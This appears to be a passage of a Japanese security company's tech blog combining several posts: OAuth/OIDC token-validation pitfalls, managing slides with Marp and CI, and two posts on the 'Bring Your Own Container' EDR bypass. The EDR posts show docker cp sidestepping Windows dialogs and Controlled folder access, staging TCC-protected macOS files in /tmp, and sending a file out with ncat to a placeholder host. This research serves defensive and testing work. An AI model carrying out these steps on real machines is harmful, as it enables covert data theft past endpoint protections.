まずは、OAuth 2.0における通信経路の安全性についてです。従来、CSRF対策としてランダムな文字列を用いた state パラメータの検証が広く使われてきました。state は、リクエストとコールバックが同一セッションであることを検証するには有効です。

一方で、state は認可コードそのものの漏洩には対処できません。スマートフォンアプリやSPAでは、カスタムURLスキームのハイジャック等によって、認可コードが正規のクライアント以外に渡ってしまう「認可コード横取り攻撃(Authorization Code Interception Attack)」のリスクがあります。

この脅威に対処する仕組みがPKCE(Proof Key for Code Exchange, RFC 7636)です。

OAuth 2.1ではPKCEは「必須」へ

かつてPKCEは、スマートフォンアプリなどの「パブリッククライアント」が、認可コードの横取りを防ぐための仕組みとして紹介されていました。しかし、OAuth 2.1では全てのクライアントでPKCEが必須(REQUIRED)とされています。

PKCEの仕組み

PKCEでは、認可リクエストを行った端末とコードを交換する端末が同一であることを暗号学的に保証します。

  1. 認可リクエスト時: クライアントが code_verifier(ランダムな文字列)を生成し、そのハッシュ値 code_challenge を認可サーバに送ります。
  2. トークン交換時: クライアントは元の code_verifier を送信します。
  3. 検証: 認可サーバは受け取った code_verifier をハッシュ化し、最初に受け取った code_challenge と一致するかを検証します。

攻撃者が認可コードを横取りできたとしても、code_verifier を知らなければトークン交換に成功しないため、攻撃は成立しません。利用しているOAuth/OIDCライブラリの設定を確認し、PKCEが有効になっているかを確認してください。

2. IDトークンの検証不備(OIDC)

ここからは、ユーザー認証(ログイン)の中核となるOpenID Connect(OIDC)の層について解説します。OIDCでは、認可サーバから認証結果を含むIDトークン(JWT形式)が発行されます。アプリ側はこのIDトークンを検証することで「誰がログインしたか」を判断しますが、この検証が不十分な場合、トークンの偽造や差し替えによるなりすましが成立し得ます。

そもそもIDトークンの中身とは?

IDトークンはJWT(JSON Web Token)形式で発行されます。実際にアプリケーションが受け取るのは、次のように .(ドット)で区切られた3つのBase64エンコードされた文字列です。

<ヘッダのBase64文字列>.<ペイロードのBase64文字列>.<署名のBase64文字列>

これをBase64でデコードすると、次のようなJSONデータが現れます。検証の実装漏れを防ぐには、この中身を正しく理解する必要があります。

// 1. ヘッダ: 署名アルゴリズムなどが記載
{
  "alg": "RS256",   // ←【検証】ここが "none" になっていないか?
  "kid": "XXXX",
  "typ": "JWT"
}

// 2. ペイロード: ユーザー情報や検証用データ
{
  "iss": "https://accounts.google.com",  // ←【検証】発行者は正しいか?
  "sub": "XXXX150350006150715113082367",
  "aud": "123456789-example-id.apps.googleusercontent.com", // ←【検証】自社アプリ宛か?
  "iat": XXXX161616,
  "exp": XXXX165216,                     // ←【検証】有効期限内か?
  "nonce": "XXXX6_WzA2Mj",               // ←【検証】リクエスト時の値と一致するか?
  "email": "taro.sterra@sterrasec.com"
}

// 3. 署名: 改ざん検知用の署名データ
// ヘッダ + ペイロードを秘密鍵で署名したものをBase64エンコードしたもの

署名アルゴリズムの明示的な指定

IDトークンの検証では、まず署名が正しいことを確認する必要があります。ここで注意すべき点として、JWTライブラリの中には、トークンのヘッダに記載された alg の値をそのまま信頼して検証アルゴリズムを決定するものがあります。攻撃者が algnone に書き換えた場合、署名検証自体がスキップされ、任意のクレームを持つトークンが受け入れられてしまいます。これを防ぐには、ライブラリの設定で許可するアルゴリズムをRS256等に明示的に限定する必要があります。

「署名が正しい」だけでは不十分

署名検証が正しく行われていても、それだけでは防げないのが「Confused Deputy(混乱した代理人)」問題です。 攻撃シナリオは次のようになります。

  1. 攻撃者が、自作の悪意あるアプリ(例:「無料占いアプリ」)を作る。
  2. ユーザーがそのアプリに「Googleでログイン」する。
  3. 攻撃者は自作アプリのサーバ側で、ユーザーに対して発行されたIDトークン(ただし「無料占いアプリ」宛て)を取得する。
  4. 攻撃者が、このトークンを標的企業のサービス(例:「社内ポータル」)に送信してログインを試みる。

もし貴社のサービスが「署名」と「発行者(iss)」しか見ていない場合、このトークンは「Googleが発行した正当な署名付きトークン」であるため、ログインが成功してしまいます。

audの検証

この攻撃への直接的な対策は aud の検証です。ここには「このトークンはどのアプリ(Client ID)のために発行されたか」が記載されています。

{
  "iss": "https://accounts.google.com",
  "sub": "1234567890",
  "aud": "YOUR_CLIENT_ID",
  "iat": XXXX239022,
  "exp": XXXX242622
}

検証ロジックにおいて、aud の値が自社のClient IDと完全一致することを確認してください。 ライブラリによってはデフォルトでチェックしないものもあるため、明示的な設定が必要です。

3. nonceパラメータの検証がされていないケース

OIDCには、先述の state とは別に、nonce(ナンス)パラメータがあります。 よくある誤解は、「リクエストに nonce を含めたから安心」と考えてしまうことです。しかし、この検証が不十分な場合、トークンの差し替えやリプレイによるなりすましが成立し得ます。

  • state (OAuth層): ブラウザのセッション単位でCSRFを防ぐ(リクエストとコールバックの整合性)。
  • nonce (OIDC層): IDトークン単位でリプレイ攻撃を防ぐ(トークンとリクエストの整合性)。

なぜ nonceが必要なのか

nonce は、発行されたIDトークンが「今回の自分のリクエストに対して発行されたものか」を保証するための値です。 先ほどのJWTの例にも nonce が含まれていましたが、ここの値が「自分がリクエスト時に送ったランダム値」と一致するか確認します。

検証の流れは次のとおりです。

  1. ランダムな値を生成し、ブラウザのセッション(Cookie等)に保存する。
  2. 認可リクエストに nonce パラメータとして含める。
  3. 戻ってきたIDトークン内の nonce を取り出す。
  4. IDトークン内の値とセッションに保存した値が一致するか比較する。

フローによる攻撃経路の違い

Implicit FlowやHybrid Flowでは、IDトークンがURLフラグメント等のフロントチャネル経由で返却されます。この場合、攻撃者がネットワーク上やブラウザ履歴からIDトークンを取得し、被害者のログイン処理に注入するリプレイ攻撃が成立し得ます。nonce の検証を行っていなければ、この攻撃を検知できません。

一方、現在主流のAuthorization Code Flowでは、IDトークンはバックチャネル(トークンエンドポイントからのレスポンス)で取得されるため、上記の経路による漏洩リスクは低くなります。ただし、Authorization Code Flowにおいても nonce は認可コード注入攻撃(Authorization Code Injection)への対策として機能します。攻撃者が盗んだ認可コードを被害者のセッションに注入した場合、トークンエンドポイントから返却されるIDトークン内の nonce が被害者のセッションに保存された値と一致しないため、攻撃を検知できます。

仕様上の位置づけ

OIDCの仕様(OpenID Connect Core 1.0)において、Implicit Flowでは nonce の使用が必須(REQUIRED)とされています。Authorization Code Flowでは任意(OPTIONAL)とされていますが、リクエストに nonce を含めた場合は検証が必須となります。

コードを確認し、id_token.nonce === session.nonce に相当する比較ロジックが存在するか、あるいは使用しているライブラリがこの検証を自動で行っているかを確認してください。

まとめ

認証フローにおいては「ライブラリを使っているから安全」「大手IdPを使っているから大丈夫」と判断していても、考慮漏れ一つで脆弱性が生まれることがあります。「とりあえずログインできたからOK」という状態でリリースすると、本記事で取り上げたようなセキュリティホールが残りやすくなります。

これらの脆弱性は認証フローのロジックに起因するものであり、一般的なWebアプリケーションの自動スキャンツールでは検知が困難です。OAuthやOIDCの仕様を熟知した診断員が、実際の認証フローを追いながら検証することで初めて発見できるケースが少なくありません。

弊社では、本記事で解説した3つの観点を含む、OAuth/OIDC認証基盤に対応した脆弱性診断を提供しています。「自社の認証基盤に不安がある」「リリース前に第三者の視点で徹底的にチェックしたい」という方は、ぜひお気軽にご相談ください。

スライドも「コード」として管理する。MarpとCI、AIで実現する、高品質で持続可能な資料作成

代表の小竹(aka tkmru)です。弊社では、登壇資料などのスライドを作成する機会が多くあります。 直近ではAVTOKYO 2025で登壇していました。

AVTOKYOは渋谷のクラブで行われるカンファレンス(飲み会)です

しかし、一般的なスライド作成ソフトでは「バージョン管理が難しい」「テキストを対象としたチェックツールを使えない」といった、ドキュメント管理上の課題を抱えていました。 そこで、弊社ではMarpを用いて、スライドを「コード」のように管理・運用する仕組みを構築しました。本記事では、その背景と、CI、AIをパートナーとした制作プロセスについてご紹介します。技術広報 Advent Calendar 2025のシリーズ2の24日目の記事です。

なぜMarpを使うのか?

Marpは、Markdown形式で記述したテキストを、スライドへ変換するツールです。 Marpを選んだ理由は、テキストベースのツールである点です。テキストであれば、Gitでのバージョン管理が可能になり、差分が明確になります。 何より、私たちの慣れ親しんだ開発フロー(Pull Requestベースの運用)にスライド作成を統合できることが、品質管理の観点から重要でした。

github.com

AIとの「壁打ち」で構成を磨く

スライド作成やブログ記事の執筆において最も時間がかかるのは、章構成を考える段階です。ここで大きな助けとなったのが、AI(Geminiなど)との対話でした。AIに丸投げしてスライドや文章を自動生成するのではなく、「論理の妥当性を検証するパートナー」として活用しています。

  • 「技術的な概念を、初学者の方に伝えるにはどう順序立てるべきか?」
  • 「全体のストーリーラインに論理的な飛躍はないか?」
  • 「批判的に検討した場合、論理的な飛躍や反論の余地はないか?」

このようにAIと対話しながら、Markdownをブラッシュアップしていくプロセスは有意義でした。ページ(n枚目)という概念がないテキスト形式だからこそ、AIへのプロンプトもシンプルに保て、意図した通りの構成案をスピーディに得られます。

CIでスライドの品質を「テスト」する

Marpを採用した最大の恩恵は、GitHub Actions上で自然言語に対するLinterを動かせるようになったことです。 私たちは以下のツールをCIに組み込んでいます。これにより、助詞(てにをは)の誤用や表記ゆれの検出が自動化されました。 その結果、人間によるレビューでは「内容の専門性」や「ストーリーの妥当性」といった、より本質的な議論に集中できる環境が整いました。

typos

typosは、Rust製のスペルチェッカーです。

github.com

元々はコード内の識別子やコメントを対象としたツールですが、テキストファイルの誤字脱字検出にも使用できます。 セキュリティの資料では、「Vulnerability」や「Infrastructure」といった文字数が多い、複雑な英単語を多用します。 これらを「Vunlerability」のように打ち間違えてしまうと、資料全体の信頼性が損なわれかねません。 技術用語の綴りミスは、スライドの信頼性を損なう大きな要因になるため、typosを使ってチェックしています。

textlint

textlintは、自然言語に対するLinterで、日本語に対応したプラグインが多く存在します。

github.com

「です・ます」調の混在、二重否定、冗長な表現などをルールに基づいて検知します。 正確な情報伝達が求められるセキュリティベンダとして、文章の揺らぎを最小限に抑えることは大切です。 Linterによる形式的なチェックを自動化することで、人間によるレビューでは「内容の専門性」や「ストーリーの妥当性」といった、より本質的な内容の調整に集中できる環境が整いました。

GeminiのGem「編集者と校正役」による仕上げ

Linterによる形式的なチェックに加え、GeminiのGemにデフォルトで存在する「編集者と校正役」を活用しています。

このGemは、単なる誤字脱字の指摘を超えて、文脈に応じた表現の洗練や、冗長な表現の改善を得意としています。 AIを用いて構成を磨くだけでなく、AIに最終的な成果物となるPDFの内容を読み込ませて「読者視点での読みやすさ」をレビューしてもらうことも可能です。 MarkdownファイルとPDFファイルの両面から、AIによる校正を挟むことで、人間によるレビューでは気づきにくい細かなニュアンスの違和感まで解消しています。

実際の資料への適用と公開

この運用フローを実際に適用して作成したのが、弊社の会社紹介資料です。

speakerdeck.com

一見すると一般的なスライドに見えるかもしれませんが、すべてMarkdownCSSから生成されています。 修正が必要になれば、Issueを起票し、PRを送り、CIを通過させてからマージされます。 資料作成のプロセスは、今や弊社にとって「エンジニアリング」の一部です。

おわりに

私たちは、提供するサービスの品質のみならず、アウトプットするあらゆる情報の「正確性」にこだわりたいと考えています。 私たちが日々向き合っている技術検証や脆弱性診断という仕事は、何よりも正確性と信頼性が求められるものだからです。

こうした「自動化による品質向上」や「知見の言語化」という文化は、弊社のGitHubにおけるOSS活動にも共通しています。 GitHubでは、ペンテスターの生産性を高めるツールを多数OSSとして公開しています。

github.com

「専門的な知見を、再現可能な形でコミュニティに還元すること」は、弊社のアイデンティティの1つです。 スライド1つをとっても、ただ作成するのではなく「より正確に、より堅牢に」するための仕組みを整える、こうした細部にまでエンジニアリングの精神を適用し続けていきます。

Windows特有のセキュリティ機構とBring Your Own Container

取締役CTOの小竹(aka tkmru)です。 前々回前回に引き続きEDRバイパス手法の1つであるBring Your Own Container(BYOC)について紹介します。

BYOCは、Dockerコンテナを悪用して、EDRを回避する手法です。 この手法は、OSに標準搭載されたツールを悪用する「Living off the Land」(LotL)の考え方を、開発ツールであるDockerに応用したものです。 BYOCの概要を紹介している記事はこちら

tech-blog.sterrasec.com

前回の記事ではmacOSTCCを回避してBYOCを活用する方法について解説しました。

tech-blog.sterrasec.com

経験豊富なWindowsユーザの方の中には、前回の記事を読んだ時、WindowsのControlled folder accessが有効な環境であればどうなるのだろうと思った方もいるでしょう。 今回はControlled folder accessをはじめとするWindows特有のセキュリティ機構がBYOCを行う時にどのように振る舞うのかを紹介します。

バインドマウント時に表示されるDocker Desktop Dialog

Windows上で-vオプションを用いてホストOSのディレクトリをコンテナにマウントした状態でコンテナを起動しようとすると、Docker Desktopはファイル共有の許可を求めるDocker Desktop Dialogを表示します。 このダイアログはWindows環境のみの機能です。

例えば、次のコマンドを実行すると、C:\Users\<ユーザ名>\Downloads へのアクセス許可を求めるダイアログが表示されます。

$ docker run --rm -v C:\Users\<ユーザ名>\Downloads:/lib/modules -it ubuntu /bin/bash

Docker Desktop Dialogが出すダイアログ

これによって、Dockerがホストのファイルシステムへアクセスする際に、ユーザの明示的な許可が必要になります。

Docker Desktop Dialogの回避

docker cpコマンドを使用することでDocker Desktop Dialogを表示させずに、ホストからコンテナへファイルをコピーすることが可能です。 まず、既存のコンテナ、またはバックグラウンドで稼働する新しいコンテナを用意します。

$ docker run -d -p 8080:80 nginx

その後、docker cpコマンドを使い、ホスト上のファイルをコンテナ内の指定したパスにコピーします。 この操作では、Docker Desktop Dialogは表示されません。

$ docker cp C:\Users\<ユーザ名>\Downloads\secret.txt <container ID>:/lib/modules

docker cpは単発のコピーしか行いません。 -vによるバインドマウントと違い、コンテナとホスト間の持続的な接続が発生しないため、コンテナが侵害されても、ホスト上のファイルまで改ざんされたり、削除されたりするリスクはありません。 そのため、docker cp-vに比べて安全なファイル転送方法とみなされており、Docker Desktop Dialogが表示されないと考えられます。

ファイルの不正な操作を防ぐControlled folder access

Windows 10, 11およびWindows Server 2019には、「ランサムウェア保護」の一環として「Controlled folder access(コントロールされたフォルダーアクセス)」というセキュリティ機能が含まれています。 この機能は、信頼されていない悪意のあるアプリが、保護されたフォルダー内のファイルを不正に変更することを防ぐことを目的としています。

次のリンクの公式ドキュメントでは「制御されたフォルダー アクセス」と表記されていますが、言語設定が日本語のWindowsでは「コントロールされたフォルダーアクセス」と表示されます。Microsoftのドキュメントの日本語訳はユーザを混乱させますね😢

learn.microsoft.com

続いて、Controlled folder accessの主な特徴を紹介します。

デフォルトで無効

Controlled folder accessは、ユーザが利用しているアプリケーションの意図しないブロックを防ぎ、互換性を保つため、Windowsの初期状態では無効になっています。 Windowsセキュリティの設定から「ウイルスと脅威の防止」を開き、「Controlled folder access」のトグルを操作することで有効にできます。

Controlled folder accessの設定画面

管理者権限で動作するPowerShellより次のコマンドを入力することでも有効にできます。

Set-MpPreference -EnableControlledFolderAccess Enabled

ファイルの変更をブロックし、通知する

Controlled folder accessは信頼できるアプリケーションのリストにアプリケーションが含まれているかどうかで動作が変わります。 保護されたフォルダ内のファイルを変更しようとするアプリが、「信頼できる」と判断されない限り、その動作はブロックされ、ユーザに通知が届きます。 Microsoftは、アプリの普及率や評価、有効なデジタル署名を持つかといった基準で多くの主要なアプリケーションを「信頼できる」リストに追加しています。 もし信頼すべきアプリが誤ってブロックされた場合、ユーザは手動でそのアプリを許可リストに追加することができます。

保護対象のフォルダ

Controlled folder accessは、システム全体ではなく、重要なフォルダのみを保護の対象とします。 ランサムウェアの主な標的となりやすい、次のフォルダが保護対象に設定されています。

ユーザ個別のフォルダー:

  • C:\Users\<ユーザ名>\Documents
  • C:\Users\<ユーザ名>\Pictures
  • C:\Users\<ユーザ名>\Videos
  • C:\Users\<ユーザ名>\Music
  • C:\Users\<ユーザ名>\Favorites

全ユーザ共通のパブリックフォルダ:

  • C:\Users\Public\Documents
  • C:\Users\Public\Pictures
  • C:\Users\Public\Videos
  • C:\Users\Public\Music

Dockerによる操作はControlled folder accessに検知されない

Controlled folder accessを有効にしている状態でも、Dockerの操作(バインドマウントやdocker cp)はブロックされません。 これは、Docker DesktopがWindowsによって「信頼されたアプリケーション」として扱われているためと推測できます。 Controlled folder accessは、未知のプログラムや評判の低いプログラムによるファイルの変更を防ぐことを目的としています。 Docker Desktopのように、広く利用され、適切なデジタル署名がされたアプリケーションは、ブロックされることなく動作します。 そのため、DockerのプロセスがControlled folder accessの保護対象のフォルダ内のファイルにアクセスしても、ブロックされることはありません。

まとめ

DockerのバインドマウントはDocker Desktop Dialogを出現させますが、docker cpコマンドでDocker Desktop Dialogを回避できます。 また、Controlled folder accessは、信頼されたアプリケーションの動作を妨げないため、docker cpによるファイル操作はブロックされません。 これらの挙動は、Windows上でのコンテナ利用におけるセキュリティ上の留意点として理解しておくべきポイントです。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。 また最近、ブログではEDRバイパスの解説記事が続いていますが、弊社の主力サービスはWebアプリケーション/スマホアプリの脆弱性診断です。 脆弱性診断のお問い合わせもお待ちしております。

macOSのTCCを回避しBring Your Own Containerを活用する

取締役CTOの小竹(aka tkmru)です。 前回に引き続きEDRバイパス手法の1つであるBring Your Own Container(BYOC)について紹介します。

BYOCは、Dockerコンテナを悪用して、EDRを回避する手法です。 この手法は、OSに標準搭載されたツールを悪用する「Living off the Land」(LotL)の考え方を、開発ツールであるDockerに応用したものです。 Bring Your Own Containerの概要を紹介している前回の記事はこちら

tech-blog.sterrasec.com

経験豊富なmacOSユーザの方の中には、前回の記事を読んだ時、macOSにはTCCがあるので、macOSではBYOCは脅威にならないのではと感じた方もいるでしょう。 今回はTCCの仕様をうまく利用して、BYOCを行う手法を紹介します。

TCCの仕組み

現代のmacOS上で攻撃者が直面する最大の障害は、TCC(Transparency, Consent, and Control)です。 TCCは、macOSに搭載されているプライバシー保護のためのセキュリティフレームワークです。 ユーザの個人情報が含まれる可能性のある特定のフォルダや、カメラ、マイクといったハードウェアへのアプリケーションからのアクセスを管理します。

アプリケーションが初めてTCCの保護対象のリソースにアクセスしようとすると、macOSはユーザに対して許可を求めるプロンプトを表示します。 ユーザが一度許可または拒否を選択すると、その設定はTCCのデータベース(TCC.db)に記録され、以降のアクセスではその設定が自動的に適用されます。

Docker.appから~/Downloadへアクセスを試みた際のプロンプト

TCCの権限管理は、アプリケーションのバンドルIDに基づいて行われます。 重要な特徴として、親プロセスが持つTCC権限は子プロセスに継承されるという仕組みがあります。 例えば、ユーザがTerminal.appに対して特定のフォルダへのアクセスを許可した場合、Terminal.appから実行されるcplsといったコマンドも、その許可された権限を継承して動作します。 このプロンプトに対してユーザが「許可しない」を選択した場合、アプリケーションのアクセスは拒否され、「operation not permitted」というエラーが表示されます。

$ docker run --rm -v ~/Downloads:/lib/modules -it ubuntu /bin/bash
docker: Error response from daemon: error while creating mount source path '/host_mnt/Users/taichi.kotake/Downloads': 
mkdir /host_mnt/Users/taichi.kotake/Downloads: operation not permitted.

ユーザが付与した権限は、「システム設定」>「プライバシーとセキュリティ」>「ファイルとフォルダ」から確認できます。

~/Downloadへのアクセスを許可している様子

TCCの保護対象と監視対象外のディレクト

TCCは、ユーザの重要なデータが保存されているディレクトリを保護対象とします。主な保護対象は次の通りです。  

  • ~/Desktop
  • ~/Documents
  • ~/Downloads
  • iCloud Driveの同期のためのフォルダ
  • 外部ボリュームやネットワークボリューム

一方で、macOSファイルシステムには、TCCの監視対象外となっているディレクトリも存在します。 その代表的な例が/tmpです。

/tmpは、OSやアプリケーションが一時的なファイルを保存するために使用する、全てのユーザが書き込み可能な共有ディレクトリです。 このディレクトリには「スティッキービット」という特殊なパーミッションが付与されており、自分が作成したファイル以外は所有者であっても削除できないようになっています。 /tmpTCCの保護対象外であるため、どのアプリケーションもTCCプロンプトなしに/tmpへのファイルの書き込みが可能です。 この特性により、/tmpTCCで保護された場所からファイルを持ち出すための一時的な置き場所として利用できます。

TCCを回避する手順

BYOCによるデータの持ち出しは次の2つのステップで構成されます。

  • ステップ1:コンテナへのデータ持ち込み
  • ステップ2:コンテナからのデータ持ち出し

ここではTerminal.appに付与されたTCC権限を利用して保護されたディレクトリからファイルをコピーし、/tmpを経由してコンテナ内に持ち込み、最終的に外部へ送信するまでの一連の手順を解説します。

下準備: TCCで保護されたディレクトリからファイルを/tmpへコピーする

下準備では、Terminal.appを用いてTCCで保護されたディレクトリ(例:~/Desktop)から、保護されていない/tmpへ持ち出したいファイルをコピーします。 Terminal.appがアクセス可能なディレクトリはhistoryコマンドの実行結果から確認できます。

# Terminal.appからアクセス可能なディレクトリを履歴などから確認
$ history
# 保護されたディレクトリから監視対象外の/tmpへファイルをコピー
$ cp ~/Desktop/secret.png /tmp/

cpコマンドはTerminal.appの子プロセスとして実行されるため、親プロセスが持つTCCの権限を継承しており、プロンプトなしでファイルにアクセスできます。   この操作により、ファイルはTCCの監視範囲外である/tmpに移動され、次のステップの準備が整います。

このコマンドが成功する理由は、TCC脆弱性を利用しているからではありません。 ユーザが過去に何らかの操作(例えばls ~/Desktopの実行など)のために、親プロセスであるTerminal.appに対して~/Desktopへのアクセスを許可しているためです。  

ステップ1:コンテナへのデータ持ち込み

次に、/tmpのファイルをコンテナ内に持ち込みます。これにはいくつか方法があります。 docker cpコマンドを使って既存のコンテナに/tmpにあるファイルをコピーする方法や/tmpからファイルをコピーするようDockerfileを作成する方法などが考えられます。 ここでは/tmpをマウントした状態でコンテナを起動するコマンドを紹介します。

$ docker run --rm -v /tmp:/data -it ubuntu /bin/bash

このコマンドでは、ホストの/tmpをコンテナ内の/dataにマウントしています。 /tmpTCCの保護対象外であるため、Docker.appがこのディレクトリにアクセスする際にTCCのプロンプトは表示されません。  

ステップ2: コンテナを利用してファイルを外部に持ち出す

コンテナが起動したら、EDRの監視がない自由なシェルを操作できます。 ここからファイルを外部に送信するのには様々な方法が考えられます。 例えば、コンテナ内部からncatのようなツールを使い、マウントしたディレクトリ内のファイルを外部のサーバへ送信できます。

# /tmpをマウントしてコンテナを起動し、内部のファイルを外部へ送信する
$ docker run --rm -v /tmp:/data -it ubuntu /bin/bash
# tar cf /data/secret.png | ncat XX.XX.XX.XX 3333

まとめ

TCCに保護されたファイルにアクセスし、BYOCを利用してEDRに検知されずに外部にデータを持ち出す一連の手法を解説しました。 この手法は、TCCやDockerの脆弱性を利用するものではなく、正規の仕様とユーザによって与えられた権限を組み合わせることで成立しています。 TCCが全てのディレクトリを保護している訳ではないこと、既に権限を持っているアプリケーションを活用することがポイントです。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。 また最近、ブログではEDRバイパスの解説記事が続いていますが、弊社の主力サービスはWebアプリケーション/スマホアプリの脆弱性診断です。 脆弱性診断のお問い合わせもお待ちしております。